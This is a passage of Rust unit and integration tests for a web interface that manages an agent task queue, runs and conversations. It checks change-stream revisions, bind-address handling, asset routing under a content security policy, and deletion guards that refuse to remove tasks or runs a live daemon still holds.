12996            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
12997            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
12998        ] {
12999            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
13000        }
13001    }
13002
13003    #[test]
13004    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
13005        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
13006        // above for the section-focus channel a stats queue tile drives:
13007        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
13008        // through the stale-search-clear recursion into renderQueue(), and
13009        // clear it only once revealQueueSection() is actually about to run -
13010        // the same trap that once silently dropped a task-focus jump.
13011        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
13012        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
13013        assert!(APP_JS.contains("function revealQueueSection(details)"));
13014        assert!(
13015            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
13016            "renderQueue() must consume both focus channels on every pass"
13017        );
13018        assert!(
13019            APP_JS.contains(
13020                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
13021            ),
13022            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
13023             the recursive renderQueue() call has nothing left to reveal"
13024        );
13025        assert!(
13026            APP_JS.contains(
13027                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
13028            ),
13029            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
13030        );
13031        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
13032        // task-focus form of the hash - a plain `#queue` navigation only
13033        // flips which view is visible. openQueueSectionFocus() must
13034        // therefore call renderQueue() itself, and applyRoute() too so the
13035        // view flips even when the hash doesn't change (the Backlog may
13036        // already be open when a tile is tapped, firing no hashchange
13037        // event at all).
13038        assert!(
13039            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
13040            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
13041             hashchange event that may never fire"
13042        );
13043    }
13044
13045    #[tokio::test]
13046    async fn the_change_stream_announces_the_current_revisions_on_connect() {
13047        let f = Fixture::start().await;
13048
13049        let mut socket = tokio::net::TcpStream::connect(f.addr)
13050            .await
13051            .expect("connect");
13052        socket
13053            .write_all(
13054                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
13055            )
13056            .await
13057            .expect("write request");
13058
13059        // Read until the first event arrives rather than to end of stream: the
13060        // stream is endless by design, which is the point of the route.
13061        let mut seen = String::new();
13062        let mut buf = [0u8; 1024];
13063        while !seen.contains("event: change") {
13064            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
13065                .await
13066                .expect("the stream must speak within five seconds")
13067                .expect("read");
13068            assert!(read > 0, "the server closed the change stream: {seen}");
13069            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
13070        }
13071
13072        assert!(
13073            seen.to_lowercase()
13074                .contains("content-type: text/event-stream"),
13075            "the browser only reconnects automatically for a real SSE stream: {seen}"
13076        );
13077        let data = seen
13078            .lines()
13079            .find_map(|l| l.strip_prefix("data:"))
13080            .expect("a data line");
13081        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
13082        assert!(
13083            payload["queue_rev"].is_u64()
13084                && payload["runs_rev"].is_u64()
13085                && payload["questions_rev"].is_u64()
13086                && payload["talks_rev"].is_u64()
13087                && payload["notifications_rev"].is_u64()
13088                && payload["loop_rev"].is_u64(),
13089            "the client needs one revision per store to know what to refetch, \
13090             and `talks_rev` is the only notification a standing talk gets - a \
13091             phone whose radio slept through a turn learns about it here, as \
13092             does one whose operator started the loop from another device: \
13093             {payload}"
13094        );
13095
13096        // The front end re-polls health on a timer and on wake, and takes the
13097        // revisions from that answer whenever the stream is not up. So health
13098        // has to carry every key the stream carries: a phone on a link that
13099        // will not hold an SSE connection is exactly the phone that must still
13100        // notice a question, and a missing key there is not a 500 but a UI
13101        // that quietly stops updating.
13102        let health = f.get("/api/health").await.json();
13103        for key in [
13104            "queue_rev",
13105            "runs_rev",
13106            "questions_rev",
13107            "talks_rev",
13108            "notifications_rev",
13109            "loop_rev",
13110        ] {
13111            assert!(
13112                health[key].is_u64(),
13113                "health is the change stream's fallback and is missing `{key}`: {health}"
13114            );
13115        }
13116    }
13117
13118    #[tokio::test]
13119    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
13120        let f = Fixture::start().await;
13121        let before = f.get("/api/health").await.json()["talks_rev"]
13122            .as_u64()
13123            .expect("talks_rev");
13124
13125        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
13126        std::thread::sleep(Duration::from_millis(10));
13127        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
13128        on_disk.turns.push(crate::talk::Turn {
13129            who: crate::talk::Who::Operator,
13130            body: "a new turn".to_owned(),
13131            at: Timestamp::now(),
13132            attachments: Vec::new(),
13133            usage: None,
13134        });
13135        f.talks().put(&mut on_disk).expect("record a turn");
13136
13137        let after = f.get("/api/health").await.json()["talks_rev"]
13138            .as_u64()
13139            .expect("talks_rev");
13140        assert_ne!(
13141            before, after,
13142            "a phone must be able to notice a talk's reply without polling every store"
13143        );
13144    }
13145
13146    #[test]
13147    fn bind_reads_back_from_the_spelling_the_cli_prints() {
13148        // The CLI shows the default in `--help` and parses whatever comes
13149        // back, so the two directions have to agree or `--bind auto` breaks
13150        // the moment someone copies the help text.
13151        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
13152            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
13153        }
13154        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
13155        assert!("everywhere".parse::<Bind>().is_err());
13156    }
13157
13158    #[test]
13159    fn an_explicit_bind_address_is_taken_verbatim() {
13160        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
13161
13162        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
13163
13164        assert_eq!(addr, asked);
13165        assert!(
13166            warning.is_none(),
13167            "an operator who named an address gets no lecture"
13168        );
13169    }
13170
13171    #[test]
13172    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
13173        let (addr, warning) = resolve_bind(&Bind::Auto);
13174
13175        // This has to hold on a CI runner with no `tailscale` and on a dev box
13176        // with one, so the invariant asserted is the one shared by both
13177        // outcomes: the address is either a real tailnet address offered
13178        // without comment, or loopback with an explanation. What must never
13179        // happen is a silent fallback - an operator told "listening on
13180        // 127.0.0.1" with no reason would go looking for a firewall.
13181        match addr {
13182            IpAddr::V4(ip) if is_tailnet(&ip) => {
13183                assert!(warning.is_none(), "a tailnet address needs no warning");
13184            }
13185            other => {
13186                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
13187                let warning = warning.expect("a fallback has to explain itself");
13188                assert!(
13189                    warning.contains("127.0.0.1") && warning.contains("local-only"),
13190                    "the warning says what happened and what it costs: {warning}"
13191                );
13192            }
13193        }
13194    }
13195
13196    #[test]
13197    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
13198        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
13199        // boundary cases are what stop us binding to some other tool's idea of
13200        // an address.
13201        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
13202        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
13203        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
13204        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
13205        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
13206    }
13207
13208    #[test]
13209    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
13210        let ids = vec![
13211            "20260902-140501-aaaa".to_owned(),
13212            "20260902-140502-aabb".to_owned(),
13213        ];
13214
13215        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
13216        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
13217        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
13218
13219        assert_eq!(missing.status, StatusCode::NOT_FOUND);
13220        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
13221        assert_eq!(short, "20260902-140502-aabb");
13222    }
13223    #[tokio::test]
13224    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
13225        // The prompt tells agents to reference attachments by bare filename.
13226        // A document served at `.../panel` resolves `shot.png` against its own
13227        // directory, i.e. `.../shot.png`, which is not the asset route - so a
13228        // panel written exactly as instructed showed broken images. Caught by
13229        // looking at a real one in a browser, not by reading the code.
13230        let fx = Fixture::start().await;
13231        let id = panel(
13232            &fx,
13233            "<img src=\"shot.png\">",
13234            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
13235        );
13236
13237        // The frame's own URL ends in a filename, so its siblings are reachable.
13238        let doc = fx
13239            .get(&format!("/api/questions/{id}/panel/index.html"))
13240            .await;
13241        assert_eq!(doc.status, 200, "{}", doc.body);
13242        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
13243
13244        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
13245        assert_eq!(sibling.status, 200, "{}", sibling.body);
13246        assert_eq!(sibling.header("content-type"), Some("image/png"));
13247        assert_eq!(
13248            sibling.header("content-security-policy"),
13249            Some(PANEL_CSP),
13250            "the sibling route must carry the same policy as the asset route"
13251        );
13252
13253        // The original spelling keeps working: HEAD on it is how the front end
13254        // decides whether to mount a frame at all.
13255        assert_eq!(
13256            fx.head(&format!("/api/questions/{id}/panel")).await.status,
13257            200
13258        );
13259    }
13260
13261    #[test]
13262    fn delta_stamps_cover_add_update_remove_and_noop() {
13263        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
13264        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
13265        let delta = diff_stamps(&before, &after, 42);
13266        assert_eq!(delta.base, 42);
13267        assert_eq!(delta.changed, ["b", "c"]);
13268        assert_eq!(delta.removed, ["a"]);
13269        let same = diff_stamps(&after, &after, 43);
13270        assert!(same.changed.is_empty() && same.removed.is_empty());
13271        assert_ne!(stamps_revision(&before), stamps_revision(&after));
13272        let nanos: Stamps = [("b".into(), (2, 20))].into();
13273        let same_ms: Stamps = [("b".into(), (3, 20))].into();
13274        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
13275        assert_eq!(stamps_revision(&Stamps::new()), 0);
13276    }
13277
13278    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
13279        std::fs::create_dir_all(home.join("runs")).unwrap();
13280        Arc::new(Ui::new(
13281            Queue::at(home.join("queue")),
13282            Questions::at(home.join("questions")),
13283            Talks::at(home.join("talks")),
13284            home.join("runs"),
13285            home.to_owned(),
13286            PathBuf::from("/repo/magi"),
13287        ))
13288    }
13289
13290    #[tokio::test]
13291    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
13292        let home = TempDir::new().unwrap();
13293        let ui = delta_test_ui(home.path());
13294        let mut task = Task::new(
13295            "stream task".into(),
13296            "text".into(),
13297            PathBuf::from("/repo"),
13298            Source::Human,
13299        );
13300        ui.queue.put(&mut task).unwrap();
13301        let response = events(State(ui.clone())).await.into_response();
13302        let mut stream = response.into_body().into_data_stream();
13303        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
13304            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
13305                .await
13306                .unwrap()
13307                .unwrap()
13308                .unwrap();
13309            let text = String::from_utf8(chunk.to_vec()).unwrap();
13310            let data = text
13311                .lines()
13312                .find_map(|line| {
13313                    line.strip_prefix("data: ")
13314                        .or_else(|| line.strip_prefix("data:"))
13315                })
13316                .unwrap();
13317            serde_json::from_str(data).unwrap()
13318        }
13319        let initial = change(&mut stream).await;
13320        assert!(initial.get("queue_delta").is_none());
13321        task.instruction.push_str(" changed");
13322        ui.queue.put(&mut task).unwrap();
13323        let updated = change(&mut stream).await;
13324        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
13325        assert_eq!(
13326            updated["queue_delta"]["changed"],
13327            serde_json::json!([task.id])
13328        );
13329        assert_eq!(
13330            updated["queue_rev"].as_u64(),
13331            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
13332        );
13333        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
13334        let removed = change(&mut stream).await;
13335        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
13336        assert_eq!(
13337            removed["queue_delta"]["removed"],
13338            serde_json::json!([task.id])
13339        );
13340    }
13341
13342    #[tokio::test]
13343    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
13344        let home = TempDir::new().unwrap();
13345        let ui = delta_test_ui(home.path());
13346        let queue = ui.queue.clone();
13347        let query = |ids: Option<&str>| {
13348            Query(ListQuery {
13349                limit: Some(2),
13350                ids: ids.map(str::to_owned),
13351            })
13352        };
13353        let mut root = Task::new(
13354            "root".into(),
13355            "instruction".into(),
13356            PathBuf::from("/repo"),
13357            Source::Human,
13358        );
13359        queue.put(&mut root).unwrap();
13360        let mut blocked = Task::new(
13361            "blocked".into(),
13362            "instruction".into(),
13363            PathBuf::from("/repo"),
13364            Source::Human,
13365        );
13366        blocked.block(vec![root.id.clone()], None);
13367        queue.put(&mut blocked).unwrap();
13368        let whole =
13369            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
13370                .unwrap();
13371        let subset = serde_json::to_value(
13372            queue_list(State(ui.clone()), query(Some(&root.id)))
13373                .await
13374                .unwrap()
13375                .0,
13376        )
13377        .unwrap();
13378        assert_eq!(whole, subset, "requested root plus its blocked dependent");
13379        let blockers = serde_json::to_value(
13380            queue_list(State(ui.clone()), query(Some("")))
13381                .await
13382                .unwrap()
13383                .0,
13384        )
13385        .unwrap();
13386        assert_eq!(blockers.as_array().unwrap().len(), 1);
13387        assert_eq!(blockers[0]["id"], blocked.id);
13388        assert_eq!(
13389            blockers[0]["waits_on"],
13390            whole
13391                .as_array()
13392                .unwrap()
13393                .iter()
13394                .find(|row| row["id"] == blocked.id)
13395                .unwrap()["waits_on"]
13396        );
13397
13398        for id in [
13399            "20260902-140501-aaaa",
13400            "20260902-140502-bbbb",
13401            "20260902-140503-cccc",
13402        ] {
13403            write_run(&ui.runs, id, RunStatus::Merged);
13404        }
13405        let old = serde_json::to_value(
13406            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
13407                .await
13408                .unwrap()
13409                .0,
13410        )
13411        .unwrap();
13412        assert!(
13413            old.as_array().unwrap().is_empty(),
13414            "older updates must not enter the window"
13415        );
13416        let newest = serde_json::to_value(
13417            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
13418                .await
13419                .unwrap()
13420                .0,
13421        )
13422        .unwrap();
13423        assert_eq!(newest.as_array().unwrap().len(), 1);
13424        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
13425
13426        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
13427        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
13428        let talks = serde_json::to_value(
13429            talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
13430                .await
13431                .unwrap()
13432                .0,
13433        )
13434        .unwrap();
13435        assert_eq!(talks.as_array().unwrap().len(), 1);
13436        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
13437        assert_eq!(
13438            serde_json::to_value(
13439                talks_list(State(ui.clone()), query(Some("")))
13440                    .await
13441                    .unwrap()
13442                    .0
13443            )
13444            .unwrap(),
13445            serde_json::json!([])
13446        );
13447    }
13448
13449    #[tokio::test]
13450    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
13451    async fn delta_payload_benchmark() {
13452        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
13453        let ui = delta_test_ui(&home);
13454        let query = |ids: Option<String>| {
13455            Query(ListQuery {
13456                limit: Some(50),
13457                ids,
13458            })
13459        };
13460        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
13461        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
13462        let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
13463        let queue_id = queue
13464            .iter()
13465            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
13466            .unwrap_or(&queue[0])
13467            .task
13468            .id
13469            .clone();
13470        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
13471            .await
13472            .unwrap()
13473            .0;
13474        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
13475            .await
13476            .unwrap()
13477            .0;
13478        let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
13479            .await
13480            .unwrap()
13481            .0;
13482        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
13483        eprintln!(
13484            "DELTA_PAYLOAD {}",
13485            serde_json::json!({
13486                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
13487                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
13488                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
13489                "counts": [queue.len(), runs.len(), talks.len()],
13490                "blocked": queue_delta.len() - 1,
13491            })
13492        );
13493    }
13494
13495    #[test]
13496    fn runs_revision_moves_when_deleting_an_older_run() {
13497        let temp = TempDir::new().expect("tempdir");
13498        let runs = temp.path().join("runs");
13499        std::fs::create_dir_all(&runs).expect("create runs dir");
13500
13501        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
13502
13503        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
13504        std::thread::sleep(Duration::from_millis(10));
13505        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
13506
13507        let rev_before = runs_revision(&runs);
13508        assert!(rev_before > 0);
13509
13510        let old_dir = runs.join("20260901-100000-old1");
13511        std::fs::remove_dir_all(&old_dir).expect("remove old run");
13512
13513        let rev_after = runs_revision(&runs);
13514        assert_ne!(
13515            rev_before, rev_after,
13516            "deleting an older run must change the revision so other clients see the deletion"
13517        );
13518    }
13519
13520    /// A run's own `run.json` on an explicit `runs` root, bypassing the
13521    /// process-global home entirely — `RunState::save` writes through
13522    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
13523    /// (see `tests::home_lock` in the integration suite for why).
13524    fn write_state(runs: &FsPath, state: &RunState) {
13525        let dir = runs.join(&state.id);
13526        std::fs::create_dir_all(&dir).expect("run dir");
13527        std::fs::write(
13528            dir.join("run.json"),
13529            serde_json::to_string_pretty(state).expect("serialize run"),
13530        )
13531        .expect("write run.json");
13532    }
13533
13534    /// A seat starting or finishing is a write to `run.json` like any other,
13535    /// so it moves the same revision the change stream already watches —
13536    /// nothing new for `/api/events` to learn, but the property this feature
13537    /// depends on to reach the phone without a poll.
13538    #[test]
13539    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
13540        let temp = TempDir::new().expect("tempdir");
13541        let runs = temp.path().join("runs");
13542        std::fs::create_dir_all(&runs).expect("create runs dir");
13543        let mut state = RunState::new(
13544            PathBuf::from("/repo/magi"),
13545            "main".to_owned(),
13546            "0123456789abcdef".to_owned(),
13547            "task".to_owned(),
13548            Config::default(),
13549        );
13550        state.id = "20260902-100000-c0de".to_owned();
13551        write_state(&runs, &state);
13552
13553        let rev_idle = runs_revision(&runs);
13554        std::thread::sleep(Duration::from_millis(10));
13555        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
13556        write_state(&runs, &state);
13557        let rev_started = runs_revision(&runs);
13558        assert_ne!(
13559            rev_idle, rev_started,
13560            "a seat starting must move the revision"
13561        );
13562
13563        std::thread::sleep(Duration::from_millis(10));
13564        state.seat_finished("judge-1");
13565        write_state(&runs, &state);
13566        let rev_finished = runs_revision(&runs);
13567        assert_ne!(
13568            rev_started, rev_finished,
13569            "and clearing it again must move the revision a second time"
13570        );
13571    }
13572
13573    #[tokio::test]
13574    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
13575        // `TaskView` flattens `Task`, so this is really asserting that
13576        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
13577        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
13578        // never touched web.rs, so nothing here caught it if it had.
13579        let fx = Fixture::start().await;
13580        let q = fx.queue();
13581
13582        let mut t = Task::new(
13583            "Task".to_owned(),
13584            "Instruction".to_owned(),
13585            PathBuf::from("/repo"),
13586            Source::Human,
13587        );
13588        t.block(
13589            vec!["20260101-000000-dead".to_owned()],
13590            Some("waiting on Task 1".to_owned()),
13591        );
13592        t.answers.push(crate::queue::AnsweredQuestion {
13593            question: "Which backend?".to_owned(),
13594            answer: "SQLite".to_owned(),
13595        });
13596        q.put(&mut t).expect("put t");
13597
13598        let res = fx.get("/api/queue").await;
13599        assert_eq!(res.status, 200);
13600        let list = res.json();
13601        let view = list
13602            .as_array()
13603            .expect("array")
13604            .iter()
13605            .find(|v| v["id"] == t.id)
13606            .expect("task in list");
13607        assert_eq!(view["status_str"], "blocked");
13608        assert_eq!(
13609            view["blocked_by"],
13610            serde_json::json!(["20260101-000000-dead"])
13611        );
13612        assert_eq!(view["block_reason"], "waiting on Task 1");
13613        assert_eq!(view["answers"][0]["question"], "Which backend?");
13614        assert_eq!(view["answers"][0]["answer"], "SQLite");
13615
13616        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
13617        // but never `answers` - that is a settled decision, not state
13618        // describing the current block, so it survives.
13619        let res = fx
13620            .post(&format!("/api/queue/{}/hold", t.short()), None)
13621            .await;
13622        assert_eq!(res.status, 200);
13623        let held = res.json();
13624        assert_eq!(held["status_str"], "held");
13625        assert_eq!(held["blocked_by"], serde_json::json!([]));
13626        assert!(held["block_reason"].is_null());
13627        assert_eq!(held["answers"][0]["answer"], "SQLite");
13628    }
13629
13630    #[tokio::test]
13631    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
13632        let fx = Fixture::start().await;
13633        let q = fx.queue();
13634        let mk = |title: &str| {
13635            Task::new(
13636                title.to_owned(),
13637                "Instruction".to_owned(),
13638                PathBuf::from("/repo"),
13639                Source::Human,
13640            )
13641        };
13642        let mut root = mk("root");
13643        root.hold_manual(Some("waiting".to_owned()));
13644        q.put(&mut root).unwrap();
13645        let mut mid = mk("mid");
13646        mid.block(vec![root.id.clone()], None);
13647        q.put(&mut mid).unwrap();
13648        let mut leaf = mk("leaf");
13649        leaf.block(vec![mid.id.clone()], None);
13650        q.put(&mut leaf).unwrap();
13651
13652        let list = fx.get("/api/queue").await.json();
13653        let find = |id: &str| {
13654            list.as_array()
13655                .unwrap()
13656                .iter()
13657                .find(|v| v["id"] == id)
13658                .unwrap()
13659                .clone()
13660        };
13661        let leaf_view = find(&leaf.id);
13662        assert_eq!(
13663            leaf_view["waits_on"],
13664            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
13665        );
13666        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
13667        assert_eq!(
13668            find(&mid.id)["waits_on"],
13669            serde_json::json!([format!("{} (held)", root.short())])
13670        );
13671        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
13672    }
13673
13674    #[tokio::test]
13675    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
13676        let fx = Fixture::start().await;
13677        let q = fx.queue();
13678
13679        // 1. A queued task with runs attached can be deleted.
13680        let mut t1 = Task::new(
13681            "Task 1".to_owned(),
13682            "Instruction 1".to_owned(),
13683            PathBuf::from("/repo"),
13684            Source::Human,
13685        );
13686        let run_id = "20260901-000000-r111";
13687        t1.runs.push(run_id.to_owned());
13688        write_run(&fx.runs(), run_id, RunStatus::Merged);
13689        q.put(&mut t1).expect("put t1");
13690
13691        // Delete by short id
13692        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
13693        assert_eq!(res.status, 204);
13694        assert!(res.body.is_empty(), "204 No Content has no body");
13695        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
13696        assert!(
13697            fx.runs().join(run_id).exists(),
13698            "run directory must not be deleted when its task is deleted"
13699        );
13700
13701        // 2. A task a live daemon is running is refused with 409.
13702        let mut t2 = Task::new(
13703            "Task 2".to_owned(),
13704            "Instruction 2".to_owned(),
13705            PathBuf::from("/repo"),
13706            Source::Human,
13707        );
13708        t2.status = TaskStatus::Running;
13709        q.put(&mut t2).expect("put t2");
13710        let mut beat = crate::daemon::Status::new();
13711        beat.current = vec![crate::daemon::Current {
13712            task: t2.id.clone(),
13713            run: "20260901-000000-r222".to_owned(),
13714        }];
13715        beat.updated_at = jiff::Timestamp::now();
13716        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13717            .expect("publish a heartbeat");
13718        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
13719        assert_eq!(res.status, 409);
13720        assert!(
13721            res.json()["error"]
13722                .as_str()
13723                .unwrap()
13724                .contains("live daemon")
13725        );
13726        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
13727
13728        // 3. The same `running` status and an orphaned lock, with no daemon
13729        // behind either, is a leftover and deletable. Before this the phone
13730        // refused it for good: the status never changes on its own and
13731        // nothing drops a lock whose process is gone.
13732        // The daemon is killed: the file stays, the heartbeat stops.
13733        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
13734        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13735            .expect("leave a stale heartbeat");
13736        let mut t3 = Task::new(
13737            "Task 3".to_owned(),
13738            "Instruction 3".to_owned(),
13739            PathBuf::from("/repo"),
13740            Source::Human,
13741        );
13742        t3.status = TaskStatus::Running;
13743        q.put(&mut t3).expect("put t3");
13744        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
13745        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
13746        assert_eq!(res.status, 204);
13747        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
13748        assert!(
13749            q.claim(&t3.id).is_ok(),
13750            "the stale lock went with it, so the id is claimable again"
13751        );
13752
13753        // 4. Missing id returns 404
13754        let res = fx.delete("/api/queue/nonexistent").await;
13755        assert_eq!(res.status, 404);
13756    }
13757
13758    #[tokio::test]
13759    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
13760        let fx = Fixture::start().await;
13761        let runs = fx.runs();
13762
13763        // 1. Finished and folded run can be deleted along with artifacts
13764        let run_id = "20260901-000000-fold";
13765        let mut state = RunState::new(
13766            PathBuf::from("/repo"),
13767            "main".to_owned(),
13768            "abc".to_owned(),
13769            "instruction".to_owned(),
13770            Config::default(),
13771        );
13772        state.id = run_id.to_owned();
13773        state.status = RunStatus::Merged;
13774        state.candidates.push(crate::run::Candidate {
13775            index: 0,
13776            label: 'A',
13777            agent: "a".to_owned(),
13778            branch: "b".to_owned(),
13779            worktree: PathBuf::from("/w"),
13780            summary: String::new(),
13781            stat: String::new(),
13782            files: 1,
13783            commits: 1,
13784            empty: false,
13785            failed: None,
13786            verified_noop: None,
13787            duration_ms: 0,
13788            folded: true,
13789        });
13790        let dir = runs.join(run_id);
13791        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
13792        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
13793            .expect("write artifact");
13794        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
13795            .expect("write run.json");
13796
13797        // Delete by short id
13798        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
13799        assert_eq!(res.status, 204);
13800        assert!(res.body.is_empty(), "204 has no body");
13801        assert!(!dir.exists(), "run directory and artifacts must be deleted");
13802
13803        // 2. A run a live daemon is working on is refused with 409. The
13804        // heartbeat is what makes it refusable: an unfinished run with no
13805        // daemon behind it is a leftover from a killed process, and case 1
13806        // above would otherwise be impossible to tell apart from this one.
13807        let run_running = "20260901-000000-rung";
13808        write_run(&runs, run_running, RunStatus::Prep);
13809        let mut beat = crate::daemon::Status::new();
13810        beat.current = vec![crate::daemon::Current {
13811            task: "20260901-000000-task".to_owned(),
13812            run: run_running.to_owned(),
13813        }];
13814        beat.updated_at = jiff::Timestamp::now();
13815        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13816            .expect("publish a heartbeat");
13817        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
13818        assert_eq!(res.status, 409);
13819        assert!(
13820            res.json()["error"]
13821                .as_str()
13822                .unwrap()
13823                .contains("live daemon"),
13824            "the refusal must say who is holding it"
13825        );
13826        assert!(
13827            runs.join(run_running).exists(),
13828            "a run in flight keeps its directory"
13829        );
13830
13831        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
13832        let run_unfolded = "20260901-000000-unfd";
13833        let mut state2 = RunState::new(
13834            PathBuf::from("/repo"),
13835            "main".to_owned(),
13836            "abc".to_owned(),
13837            "instruction".to_owned(),
13838            Config::default(),
13839        );
13840        state2.id = run_unfolded.to_owned();
13841        state2.status = RunStatus::Ready;
13842        state2.candidates.push(crate::run::Candidate {
13843            index: 0,
13844            label: 'A',
13845            agent: "a".to_owned(),
13846            branch: "b".to_owned(),
13847            worktree: PathBuf::from("/w"),
13848            summary: String::new(),
13849            stat: String::new(),
13850            files: 1,
13851            commits: 1,
13852            empty: false,
13853            failed: None,
